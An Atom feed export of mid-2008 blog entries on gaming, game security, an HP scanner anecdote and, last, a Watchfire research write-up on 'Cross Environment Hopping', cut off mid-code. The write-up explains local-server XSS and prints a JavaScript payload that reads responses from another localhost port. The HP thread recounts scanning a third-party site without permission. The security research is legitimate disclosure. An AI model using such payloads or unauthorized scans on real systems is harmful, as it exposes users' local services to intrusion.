meet, learn from, and work with some great people inside and outside of Microsoft – even Melinda for a time – and in turn affect the lives of others.  &lt;/p&gt;  &lt;p&gt;Thank you for the education, the opportunities, and the inspiration. &lt;/p&gt;  &lt;p&gt;-Rico&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8672058" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/323888992" height="1" width="1"/&gt;</summary><author><name>ricom</name></author><source gr:stream-id="feed/http://blogs.msdn.com/ricom/rss.xml"><id>tag:google.com,2005:reader/feed/http://blogs.msdn.com/ricom/rss.xml</id><title type="html">Rico Mariani&amp;#39;s Performance Tidbits</title><link rel="alternate" href="http://blogs.msdn.com/ricom/default.aspx" type="text/html" /></source><feedburner:origLink>http://blogs.msdn.com/ricom/archive/2008/06/30/my-last-words-to-bill.aspx</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1214836329376"><id gr:original-id="http://fallout3.wordpress.com/?p=1659">tag:google.com,2005:reader/item/5dc3a467d78c204d</id><category term="Bethesda" /><category term="Bethsoft" /><category term="Fallout" /><category term="Fallout 3" /><category term="Opinion" /><category term="ashley chang" /><category term="diablo3" /><category term="jay wilson" /><category term="leon boyarsky" /><category term="solivagant" /><title type="html">Diablo III Vs. Fallout 3</title><published>2008-06-30T12:02:29Z</published><updated>2008-06-30T12:02:29Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/323304684/" type="text/html" /><media:group><media:content url="http://a.wordpress.com/avatar/briosafreak-128.jpg" /></media:group><media:group><media:content url="http://fallout3.files.wordpress.com/2008/06/31387_diablo3-new-03_normal.jpg" /></media:group><summary xml:base="http://fallout3.wordpress.com/" type="html">By now everyone heard about the announcement of Diablo III, with good old Leon Boyarsky of Fallout fame as Lead World Designer. Comparisons between Diablo III and Fallout 3 were bound to happen, with NMA pointing to Solivagant’s blog at Destructoid with a passionate and controversial piece called How to make a proper Sequel:
And now [...]&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/323304684" height="1" width="1"/&gt;</summary><author><name>briosafreak</name></author><source gr:stream-id="feed/http://fallout3.wordpress.com/feed/"><id>tag:google.com,2005:reader/feed/http://fallout3.wordpress.com/feed/</id><title type="html">Fallout 3: A Post Nuclear Blog</title><link rel="alternate" href="http://fallout3.wordpress.com" type="text/html" /></source><feedburner:origLink>http://fallout3.wordpress.com/2008/06/30/diablo-iii-vs-fallout-3/</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1214821345501"><id gr:original-id="http://playnoevil.com/serendipity/index.php?/archives/2090-guid.html">tag:google.com,2005:reader/item/875930ecfca3d611</id><category term="Game Security" /><category term="IT Security and Privacy" /><category term="Virtual Theft &amp; Property Rights" /><title type="html">Blizzard brings low-cost Security to World of Warcraft</title><published>2008-06-27T16:30:53Z</published><updated>2008-06-27T16:30:53Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/323156798/index.php" type="text/html" /><content xml:base="http://playnoevil.com/serendipity/" type="html">&lt;strong&gt;Blizzard &lt;/strong&gt;has added an&lt;a href="http://playnoevil.com/serendipity/exit.php?url_id=5797&amp;amp;entry_id=2090" title="http://us.blizzard.com/support/article.xml?articleId=24660&amp;amp;rhtml=true"&gt; inexpensive authentication device &lt;/a&gt;(&lt;strong&gt;2 factor authentication&lt;/strong&gt;, for security aficionados) that should help protect against the problem of account theft (or, more specifically, Blizzard's customer support issue with account theft).&lt;br&gt;
&lt;br&gt;
Impressively, the widget only costs $6.50 - which is quite low for these devices. &lt;br&gt;
&lt;br&gt;
Given the customer service costs associated with the account theft and similar complaints, it would have been a COOL IDEA to include the authenticator with the next game expansion as well as allowing direct purchase. &lt;br&gt;
&lt;br&gt;
It would also be wise to allow it to be used for &lt;strong&gt;Battle.Net&lt;/strong&gt; and other Blizzard/Activision online services... we shall see.&lt;br&gt;
&lt;br&gt;
How it works:&lt;br&gt;
&lt;br&gt;
The authenticator uses an internal clock (I'm sure we'll hear about battery problems in a year or two) and a internal, secret key to generate a 6-digit unique password that typically changes every 5 minutes, can only be used once and is associated with a single account. &lt;br&gt;
&lt;br&gt;
Password(T) = Encrypt(Unique Secret Key, Time)&lt;br&gt;
&lt;br&gt;
When a user gets one of these devices, they register its serial number with their game account. The serial number maps to a unique secret key... and off we go.&lt;br&gt;
&lt;br&gt;
The challenge with these systems, and the thing that kept their cost high were batteries and especially clocks... that are good enough and cheap enough. Clocks are a problem because they drift over time and the server needs to be able to accommodate this. Historically, developers like &lt;strong&gt;RSA &lt;/strong&gt;with their &lt;strong&gt;SecureID &lt;/strong&gt;product have focused on "good security"... I would think that one could actually do quite a number on fraud with designing a system like this to be REAL CHEAP (fun security engineering homework assignment - find very low cost displays, microcontroller or ASIC with clock and sufficent compute power but low power requirements, battery, and a fabrication process that allows you to associate a serial number and key with an individual device... so some EPROM).&lt;br&gt;
&lt;br&gt;
In the US, and probably even elsewhere, another useful security tool would be a unique serial number associated with each copy of the software that is also associated with the user. Then, if a user is all of a sudden on a radically different computer... and starts emptying the account... a flag could go off and block the transaction or require additional authentication. This would be easy to implement and certainly inexpensive. &lt;br&gt;
&lt;br&gt;
In Asia, at least one game company has gone to a cell phone based authentication system. This could be done either with an interactive session/SMS message or a downloaded application.&lt;br&gt;
&lt;br&gt;
(via &lt;a href="http://playnoevil.com/serendipity/exit.php?url_id=5798&amp;amp;entry_id=2090" title="http://kotaku.com/5019890/secure-your-wow-account-with-the-blizzard-authenticator"&gt;Kotaku&lt;/a&gt;)&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/323156798" height="1" width="1"/&gt;</content><author><name>ceo@secureplay.com (SecurePlay)</name></author><source gr:stream-id="feed/http://playnoevil.com/serendipity/index.php?/feeds/index.rss2"><id>tag:google.com,2005:reader/feed/http://playnoevil.com/serendipity/index.php?/feeds/index.rss2</id><title type="html">PlayNoEvil Game Security News &amp;amp; Analysis</title><link rel="alternate" href="http://playnoevil.com/serendipity/" type="text/html" /></source><feedburner:origLink>http://playnoevil.com/serendipity/index.php?/archives/2090-Blizzard-brings-low-cost-Security-to-World-of-Warcraft.html</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1214821214451"><id gr:original-id="http://playnoevil.com/serendipity/index.php?/archives/2084-guid.html">tag:google.com,2005:reader/item/5c91eaa395b4fd67</id><category term="Miscellaneous" /><title type="html">NOTED WITH GRAVE CONCERN: US college enrollment in IT down 50 percent</title><published>2008-06-25T08:54:00Z</published><updated>2008-06-25T08:54:00Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/323156799/index.php" type="text/html" /><content xml:base="http://playnoevil.com/serendipity/" type="html">The number of students enrolling in computer science is down 50 percent in the &lt;strong&gt;US&lt;/strong&gt; from just 5 years ago, according to&lt;strong&gt; David Pitt&lt;/strong&gt; of the&lt;a href="http://playnoevil.com/serendipity/exit.php?url_id=5729&amp;amp;entry_id=2084" title="http://news.yahoo.com/s/ap/20080623/ap_on_hi_te/tech_worker_shortage"&gt; Associated Press&lt;/a&gt;. This is going to have devastating consequences for the IT industry and the health of the US economy as a whole.&lt;br&gt;
&lt;br&gt;
The tech industry needs to get this on the nation's agenda... where are &lt;strong&gt;Obama &lt;/strong&gt;and &lt;strong&gt;McCain &lt;/strong&gt;on growing and protecting critical US tech skills?&lt;br&gt;
&lt;br&gt;
(via &lt;a href="http://playnoevil.com/serendipity/exit.php?url_id=5730&amp;amp;entry_id=2084" title="http://www.videogaming247.com/2008/06/23/us-uni-it-applications-down-50/"&gt;videogaming247&lt;/a&gt;)&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/323156799" height="1" width="1"/&gt;</content><author><name>ceo@secureplay.com (SecurePlay)</name></author><source gr:stream-id="feed/http://playnoevil.com/serendipity/index.php?/feeds/index.rss2"><id>tag:google.com,2005:reader/feed/http://playnoevil.com/serendipity/index.php?/feeds/index.rss2</id><title type="html">PlayNoEvil Game Security News &amp;amp; Analysis</title><link rel="alternate" href="http://playnoevil.com/serendipity/" type="text/html" /></source><feedburner:origLink>http://playnoevil.com/serendipity/index.php?/archives/2084-NOTED-WITH-GRAVE-CONCERN-US-college-enrollment-in-IT-down-50-percent.html</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1214821016905"><id gr:original-id="http://www.adamolmak.com/2008/06/27/neler-oluyor-bize/">tag:google.com,2005:reader/item/bf92cbfa4b7e7296</id><category term="Kişisel tatmin" /><title type="html">Neler oluyor bize…</title><published>2008-06-27T20:41:12Z</published><updated>2008-06-27T20:41:12Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/323156800/" type="text/html" /><summary xml:base="http://www.adamolmak.com/" type="html">“Ellerime betonun soğukluğu vuruyor, biraz da toz. Yüzümün sol yanı öyle bir yapışmış ki yere, hiç koparamayacağımı sanıyorum. Nihayet gözlerimi açtım, yerdeymişim. İki seksen uzanmışım yere. Nerdeyim, nasıl geldim buraya bilmiyorum. Yavaşça ayağa kalkıp üstümü temizledim. İyi de neden yerler kirli, burası neresi? Ortalıkta bir ışık kaynağı yok ama yine de etrafı aydınlatan bir loş [...]&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/323156800" height="1" width="1"/&gt;</summary><author><name>Adam</name></author><source gr:stream-id="feed/http://www.adamolmak.com/?feed=rss2"><id>tag:google.com,2005:reader/feed/http://www.adamolmak.com/?feed=rss2</id><title type="html">Adam Olmak</title><link rel="alternate" href="http://www.adamolmak.com" type="text/html" /></source><feedburner:origLink>http://www.adamolmak.com/2008/06/27/neler-oluyor-bize/</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1214726128616"><id gr:original-id="http://www.nma-fallout.com/article.php?id=43080">tag:google.com,2005:reader/item/153075b01eddf62f</id><title type="html">Guy on blog: Diablo 3 vs Fallout 3</title><published>2008-06-29T00:47:05Z</published><updated>2008-06-29T00:47:05Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/322470495/article.php" type="text/html" /><author gr:unknown-author="true"><name>(author unknown)</name></author><source gr:stream-id="feed/http://www.nma-fallout.com/rss/rss.xml"><id>tag:google.com,2005:reader/feed/http://www.nma-fallout.com/rss/rss.xml</id><title type="html">No Mutants Allowed</title><link rel="alternate" href="http://www.nma-fallout.com" type="text/html" /></source><summary type="html">&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/322470495" height="1" width="1"/&gt;</summary><feedburner:origLink>http://www.nma-fallout.com/article.php?id=43080</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1214683209355"><id gr:original-id="">tag:google.com,2005:reader/item/87f185cdaff71435</id><title type="html">Diablo 3 - Debut Gameplay Trailer</title><published>2008-06-28T20:00:09Z</published><updated>2008-06-28T20:00:09Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/322218082/35662.html" type="text/html" /><link rel="related" href="http://www.gametrailers.com/" title="Gametrailers.com - Customized RSS Feed" /><content xml:base="http://www.gametrailers.com/" type="html">&lt;blockquote&gt;Shared by  fmavituna 
&lt;br&gt;
Yay, and not 3D like Fallout 3 !&lt;/blockquote&gt;
This place is thick with the stench of ghouls.&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/322218082" height="1" width="1"/&gt;</content><author gr:unknown-author="true"><name>(author unknown)</name></author><gr:annotation><content type="html">Yay, and not 3D like Fallout 3 !</content><author gr:user-id="06794903814037867830" gr:profile-id="103266538558918751912"><name>fmavituna</name></author></gr:annotation><source gr:stream-id="user/06794903814037867830/source/com.google/link"><id>tag:google.com,2005:reader/user/06794903814037867830/source/com.google/link</id><title type="html">Gametrailers.com - Customized RSS Feed</title><link rel="alternate" href="http://www.gametrailers.com/" type="text/html" /></source><feedburner:origLink>http://www.gametrailers.com/player/35662.html?r=1</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1214579520793"><id gr:original-id="">tag:google.com,2005:reader/item/795d638a136f5b79</id><title type="html">Whoops!: Or we are paid to be researchers not QA professionals</title><published>2008-06-27T15:12:00Z</published><updated>2008-06-27T15:12:00Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/321393321/" type="text/html" /><link rel="related" href="http://www.memestreams.net/users/acidus/" title="Curiouser and Curiouser" /><content xml:base="http://www.memestreams.net/users/acidus/" type="html">&lt;blockquote&gt;Shared by  fmavituna 
&lt;br&gt;
quite funny although, I like the fact that they are scanning random Chinese websites without permission to test the tool. I suppose if it's a dodgy Chinese website it's legal to scan(!)&lt;/blockquote&gt;
&lt;p&gt;Start at bottom for maximum effect...&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;_____________________________________________&lt;br&gt;From: Hoffman, Billy&lt;br&gt;Sent: Thursday, June 26, 2008 5:27 PM&lt;br&gt;To: Wood, Matt (); Millar, Steve A&lt;br&gt;Subject: RE: uhhhh does Scrawlr really have a limit?&lt;/p&gt;&lt;p&gt;This is too great. I'm posting this to Memestreams.&lt;/p&gt;&lt;p&gt;Billy Hoffman&lt;br&gt;--&lt;br&gt;Manager, HP Web Security Research Group&lt;br&gt;HP Software – Application Security Center&lt;br&gt;Direct:  770-343-7069&lt;/p&gt;&lt;p&gt;_____________________________________________&lt;br&gt;From: Wood, Matt () &lt;br&gt;Sent: Thursday, June 26, 2008 5:27 PM&lt;br&gt;To: Wood, Matt (); Hoffman, Billy; Millar, Steve A&lt;br&gt;Subject: RE: uhhhh does Scrawlr really have a limit?&lt;/p&gt;&lt;p&gt;Stivo! you crazy! Change-set 27173. 6/21 @ 6:37pm in SimpleUrlCrawler.cs &lt;/p&gt;&lt;p&gt;I guess the build-box is building with the debug symbols in it?&lt;/p&gt;&lt;p&gt;So the crawl limit is 2.1 billion right now  2^31-1&lt;/p&gt;&lt;p&gt;_____________________________________________&lt;br&gt;From: Wood, Matt () &lt;br&gt;Sent: Thursday, June 26, 2008 5:19 PM&lt;br&gt;To: Hoffman, Billy; Millar, Steve A&lt;br&gt;Subject: RE: uhhhh does Scrawlr really have a limit?&lt;/p&gt;&lt;p&gt;Whoops! Here:&lt;/p&gt;&lt;p&gt;        private void buildCrawlLimit()&lt;br&gt;        {&lt;br&gt;            crawlLimit = 1500;&lt;br&gt;#if DEBUG&lt;br&gt;            crawlLimit = int.MaxValue;&lt;br&gt;#endif&lt;br&gt;        }&lt;/p&gt;&lt;p&gt;Pretty sure the Labs build box is pumping out debug builds...&lt;/p&gt;&lt;p&gt;_____________________________________________&lt;br&gt;From: Hoffman, Billy &lt;br&gt;Sent: Thursday, June 26, 2008 5:19 PM&lt;br&gt;To: Wood, Matt (); Millar, Steve A&lt;br&gt;Subject: RE: uhhhh does Scrawlr really have a limit?&lt;/p&gt;&lt;p&gt;... ... STFU! Are you telling me the limit most people are bitching about doesn’t even exist? Haha, Should we even patch that?&lt;/p&gt;&lt;p&gt;Billy Hoffman&lt;br&gt;--&lt;br&gt;Manager, HP Web Security Research Group&lt;br&gt;HP Software – Application Security Center&lt;br&gt;Direct:  770-343-7069&lt;/p&gt;&lt;p&gt;_____________________________________________&lt;br&gt;From: Wood, Matt () &lt;br&gt;Sent: Thursday, June 26, 2008 5:15 PM&lt;br&gt;To: Hoffman, Billy; Millar, Steve A&lt;br&gt;Subject: RE: uhhhh does Scrawlr really have a limit?&lt;/p&gt;&lt;p&gt;Haha… scrawlr may not have a limit…&lt;/p&gt;&lt;p&gt;I just set a break point in the function that checks it and it never gets called… apparently it got lost somehow…&lt;/p&gt;&lt;p&gt;_____________________________________________&lt;br&gt;From: Hoffman, Billy &lt;br&gt;Sent: Thursday, June 26, 2008 5:10 PM&lt;br&gt;To: Wood, Matt (); Millar, Steve A&lt;br&gt;Subject: RE: uhhhh does Scrawlr really have a limit?&lt;/p&gt;&lt;p&gt;Then explain this:&lt;br&gt;[Screen shot removed]&lt;/p&gt;&lt;p&gt;Billy Hoffman&lt;br&gt;--&lt;br&gt;Manager, HP Web Security Research Group&lt;br&gt;HP Software – Application Security Center&lt;br&gt;Direct:  770-343-7069&lt;/p&gt;&lt;p&gt;-----Original Message-----&lt;br&gt;From: Wood, Matt () &lt;br&gt;Sent: Thursday, June 26, 2008 5:07 PM&lt;br&gt;To: Hoffman, Billy; Millar, Steve A&lt;br&gt;Subject: RE: uhhhh does Scrawlr really have a limit?&lt;/p&gt;&lt;p&gt;Nah, just a lot of parameters. We will only crawl 1500 pages, but we will audit more.&lt;/p&gt;&lt;p&gt;-----Original Message-----&lt;br&gt;From: Hoffman, Billy &lt;br&gt;Sent: Thursday, June 26, 2008 5:09 PM&lt;br&gt;To: Wood, Matt (); Millar, Steve A&lt;br&gt;Subject: uhhhh does Scrawlr really have a limit?&lt;/p&gt;&lt;p&gt;Guys,&lt;/p&gt;&lt;p&gt;I noticed a Chinese site offer Scrawlr for download. Its classic ASP so I decide to scan it with Scrawlr.&lt;/p&gt;&lt;p&gt;Site is: [Site Removed]&lt;/p&gt;&lt;p&gt;The only thing is, Scrawlr is saying it has visited 3879 pages so far and is still going. Perhaps a bug in our limiting?&lt;/p&gt;&lt;p&gt;Billy Hoffman&lt;br&gt;--&lt;br&gt;Manager, HP Web Security Research Group&lt;br&gt;HP Software – Application Security Center&lt;br&gt;Direct:  770-343-7069&lt;/p&gt;&lt;/blockquote&gt;&lt;br&gt;&lt;br&gt;--&lt;br&gt;&lt;b&gt;&lt;a href="http://www.memestreams.net/users/acidus/blogid10328640"&gt;Link (Direct)&lt;/a&gt;&lt;/b&gt; - &lt;b&gt;&lt;a href="http://www.memestreams.net/redirect/?blog=acidus_misc&amp;amp;nuid=10328640"&gt;Link (Reputation Tracking)&lt;/a&gt;&lt;/b&gt; - &lt;a href="http://www.memestreams.net/thread/bid39014/"&gt;Discuss [2]&lt;/a&gt; - &lt;a href="http://www.memestreams.net/recommend/?mode=2&amp;amp;recv=acidus&amp;amp;blog=acidus_misc&amp;amp;nuid=10328640"&gt;Reply&lt;/a&gt; - &lt;a href="http://www.memestreams.net/recommend/?mode=0&amp;amp;blog=acidus_misc&amp;amp;nuid=10328640"&gt;Recommend&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/321393321" height="1" width="1"/&gt;</content><author gr:unknown-author="true"><name>(author unknown)</name></author><gr:annotation><content type="html">quite funny although, I like the fact that they are scanning random Chinese websites without permission to test the tool. I suppose if it's a dodgy Chinese website it's legal to scan(!)</content><author gr:user-id="06794903814037867830" gr:profile-id="103266538558918751912"><name>fmavituna</name></author></gr:annotation><source gr:stream-id="user/06794903814037867830/source/com.google/link"><id>tag:google.com,2005:reader/user/06794903814037867830/source/com.google/link</id><title type="html">Curiouser and Curiouser</title><link rel="alternate" href="http://www.memestreams.net/users/acidus/" type="text/html" /></source><feedburner:origLink>http://www.memestreams.net/users/acidus/blogid10328640/</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1214575433291"><id gr:original-id="tag:typepad.com,2003:post-51719844">tag:google.com,2005:reader/item/3baa043904a1e461</id><category term="Research" scheme="http://www.sixapart.com/ns/types#category" /><category term="Web Application Security" scheme="http://www.sixapart.com/ns/types#category" /><title type="html">Cross Environment Hopping</title><published>2008-06-23T09:59:32Z</published><updated>2008-06-23T14:33:29Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/321369139/cross-environ-1.html" type="text/html" /><content xml:base="http://blog.watchfire.com/wfblog/" xml:lang="en-US" type="html">&lt;div&gt;&lt;p&gt;&lt;strong&gt;&lt;u&gt;Prologue&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Our research team has identified a web-based attack technique that exploits the growing number of applications that require a web server being run on a local machine. Cross-Environment Hopping (CEH) is a result of this trend combined with the current limitations in browsers’ same-origin policy access restrictions. 
&lt;p&gt;The CEH technique enables an attacker to exploit a local XSS vulnerability in order to “hop” to a different environment, such as another locally installed server. Under certain circumstances it may even be possible for an attacker to access remote network services such as network share drives, remote procedure calls, intranet mail, SQL servers, and so on. 
&lt;p&gt;This write-up will prove that the current implementation of same origin policy on the localhost in &lt;b&gt;&lt;i&gt;up-to-date&lt;/i&gt;&lt;/b&gt; Web browsers, combined with the presence of an XSS vulnerability, creates a special set of circumstances that enable environment hopping, and that the resulting malicious activity can be performed on any server running on a designated port. 
&lt;p&gt;We would like to credit Rob Carter for his great work in &lt;a href="http://r00tin.blogspot.com/2008/03/local-web-servers-are-dangerous.html"&gt;describing&lt;/a&gt; the problematic nature of exploiting XSS vulnerabilities in local web servers by taking advantage of the promiscuous security behavior of Internet Explorer 6.
&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;u&gt;Current Browser Restrictions&lt;/u&gt;&lt;/strong&gt; 
&lt;p&gt;As browsers are designed to access a wide variety of resources, their access restrictions are essential to maintaining the security of the client. It is imperative that the browser controls information access by limiting one application from accessing resources or information from another application, that belong to a different entity. 
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Same Origin Policy:&lt;/strong&gt; 
&lt;p&gt;The same origin policy is an essential element in client-side scripting (primarily JavaScript) security. A valuable component of this policy is that client-side script cannot read information originating from a different domain. While this does not prevent a browser from making cross-origin HTTP requests, it successfully limits access to the content of other domains. 
&lt;p&gt;The following table outlines various methods that might be used by JavaScript to communicate with external domains. While some are not restricted to the same origin, access to content is limited.&lt;/p&gt;
&lt;table cellspacing="0" cellpadding="2" width="400" border="1"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td valign="top" width="133"&gt;
&lt;p align="center"&gt;&lt;strong&gt;Method&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;
&lt;td valign="top" width="133"&gt;
&lt;p align="center"&gt;&lt;strong&gt;Same Origin Policy&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;
&lt;td valign="top" width="133"&gt;
&lt;p align="center"&gt;&lt;strong&gt;Content Access&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="133"&gt;XmlHttpRequest&lt;/td&gt;
&lt;td valign="top" width="133"&gt;Yes&lt;/td&gt;
&lt;td valign="top" width="133"&gt;Yes&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="133"&gt;Socket Connections&lt;/td&gt;
&lt;td valign="top" width="133"&gt;Yes&lt;/td&gt;
&lt;td valign="top" width="133"&gt;Yes&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="133"&gt;IFrame Element&lt;/td&gt;
&lt;td valign="top" width="133"&gt;No&lt;/td&gt;
&lt;td valign="top" width="133"&gt;Same Origin Only&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="133"&gt;Dynamic Form&lt;/td&gt;
&lt;td valign="top" width="133"&gt;No&lt;/td&gt;
&lt;td valign="top" width="133"&gt;Same Origin Only&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="133"&gt;Script Element&lt;/td&gt;
&lt;td valign="top" width="133"&gt;No&lt;/td&gt;
&lt;td valign="top" width="133"&gt;JavaScript Content Only&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="133"&gt;Image Element&lt;/td&gt;
&lt;td valign="top" width="133"&gt;No&lt;/td&gt;
&lt;td valign="top" width="133"&gt;Height/Width Value Only&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; XML HTTP Requests&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It is interesting to note that different methods of making XML HTTP requests use different components, because different browsers use different implementations. For example, Microsoft Internet Explorer supports the ActiveX component Microsoft.XMLHTTP, while the Firefox browser does not. 
&lt;p&gt;Not only is there a variance in the components used to make these requests, but behavior varies too. For example, the standard XMLHttpRequest object supported by both Microsoft Internet Explorer and Firefox does not support requests across different ports (on the same domain), while many of the implementations through ActiveX that are supported by Internet Explorer do. (These include MSXML2.XMLHTTP, Microsoft.XMLHTTP and various versions and derivatives of these objects.) 
&lt;p&gt;In Firefox and Internet Explorer 7.0, an XMLHttpRequest might be initiated using: 
&lt;p&gt;&lt;strong&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;div&gt;&lt;pre&gt;&lt;span&gt;var&lt;/span&gt; xhr = &lt;span&gt;new&lt;/span&gt; XMLHttpRequest();&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In addition, in Microsoft Internet Explorer 7.0 (and earlier versions), this might be initiated using:&lt;/p&gt;
&lt;div&gt;&lt;pre&gt;&lt;span&gt;var&lt;/span&gt; xhr = &lt;span&gt;new&lt;/span&gt; ActiveXObject(&lt;span&gt;"Microsoft.XMLHTTP"&lt;/span&gt;)&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;While this behavior doesn't seem to have a significant impact in an Internet web environment, it has a huge impact in a desktop web environment: the localhost domain. 

&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;Cross Environment Hopping&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cross-Environment Hopping (CEH) is the technique of hopping from the Internet to a port on the victim’s computer, and then hopping from one port (environment) to another on the computer, as illustrated below. 
&lt;p&gt;&lt;a href="http://blog.watchfire.com/wfblog/WindowsLiveWriter/CEH.gif"&gt;&lt;img height="159" alt="CEH" src="http://blog.watchfire.com/wfblog/WindowsLiveWriter/CEH.gif" width="400"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The attack sequence might begin with a blind request (perhaps using an IFrame element) from the attacker to a cross site scripting (XSS) vulnerability on the local web server running on port A. 
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Vulnerabilities in Local Web Servers:&lt;/strong&gt; 
&lt;p&gt;As a vulnerability class, XSS is very prevalent in web applications. Numerous advisories have been published about XSS issues in local web servers. As an example, our own research team has published an advisory about a XSS issue found in the local web server installed by Google Desktop (see "&lt;a href="http://download.watchfire.com/whitepapers/Overtaking-Google-Desktop.pdf"&gt;Overtaking Google Desktop&lt;/a&gt;"). We are also aware of other such vulnerabilities in local web servers, but are restricted from disclosing information at the moment. 
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Cross Application Scripting (XAS):&lt;/strong&gt; 
&lt;p&gt;A second method of initiating the CEH attack is by exploiting a Cross-Application scripting (XAS) attack. This is not a new type of attack. 
&lt;blockquote&gt;
&lt;p&gt;Cross-Application scripting (XAS) is possible when an application executes data in a security context different from the original content (presumably one with less security restrictions). For example the data may be obtained from an un-trusted source (a remote web server) that is sent unfiltered into a trusted application such as when web content is downloaded from a remote server, and then re-displayed on the local host. Any application that downloads and then later displays and executes web content (such as JavaScript) may be vulnerable to XAS (“Cross-Application Scripting”, &lt;a href="http://www.security.nnov.ru/Jdocument327.html"&gt;Security.nnov.ru&lt;/a&gt;)&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;   &lt;p&gt;The impact of a XAS vulnerability is usually access to the Local Computer Zone. One of the suggested countermeasures against XAS is to use a local web server in order to present the information gathered by the application instead of loading it from the file system. 
&lt;p&gt;The fact that the browser loads a page from a local web server guarantees that even if the application doesn't properly filter out hazardous characters (i.e. it is vulnerable to a XSS attack), the Local Computer Zone won't be accessible to attackers. 
&lt;p&gt;However, this countermeasure against XAS means that if the desktop application web interface is vulnerable, a CEH attack is made possible. 
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; Crossing Ports Using XML HTTP Requests:&lt;/strong&gt; 
&lt;p&gt;After the initial request has been sent and the victim has been exploited using XSS, the attacker can deliver payloads of his choosing. If the victim is running Microsoft Internet Explorer, the attacker may send ActiveX Microsoft.XMLHTTP requests to other local web servers running on different ports. As the same origin policy does not apply to ports (on Localhost), the attacker is able to read responses and make additional requests through the exploited system. 
&lt;p&gt;The following Cross Site Scripting payload, demonstrates how a malicious JavaScript payload returning from a web server installed on Localhost port 80, can submit an HTTP request to a different web application, installed on Localhost port 8080, and also have access to the information returned in the HTTP response: 
&lt;div&gt;&lt;pre&gt;&amp;lt;script&amp;gt;&lt;/pre&gt;&lt;pre&gt;    &lt;span&gt;var&lt;/span&gt; xmlhttp=&lt;span&gt;new&lt;/span&gt; ActiveXObject(&lt;span&gt;"Microsoft.XMLHTTP"&lt;/span&gt;);&lt;/pre&gt;&lt;pre&gt;    &lt;span&gt;if&lt;/span&gt; (xmlhttp!=&lt;span&gt;null&lt;/span&gt;)&lt;/pre&gt;&lt;pre&gt;    {&lt;/pre&gt;&lt;pre&gt;      xmlhttp.onreadystatechange=state_Change;&lt;/pre&gt;&lt;pre&gt;      xmlhttp.open(&lt;span&gt;"GET"&lt;/span&gt;,&lt;span&gt;"http://localhost:8080/some_page.html"&lt;/span&gt;,&lt;span&gt;true&lt;/span&gt;);&lt;/pre&gt;&lt;pre&gt;      xmlhttp.send();&lt;/pre&gt;&lt;pre&gt;        alert(&lt;span&gt;"Request Sent!"&lt;/span&gt;);&lt;/pre&gt;&lt;pre&gt;    }&lt;/pre&gt;&lt;pre&gt;    &lt;span&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;    {&lt;/pre&gt;&lt;pre&gt;      alert(&lt;span&gt;"Your browser does not support XMLHTTP."&lt;/span&gt;)&lt;/pre&gt;&lt;pre&gt;    }&lt;/pre&gt;&lt;pre&gt; &lt;/pre&gt;&lt;pre&gt;    &lt;span&gt;function&lt;/span&gt; state_Change()&lt;/pre&gt;&lt;pre&gt;    {&lt;/pre&gt;&lt;pre&gt;       &lt;span&gt;// if xmlhttp shows 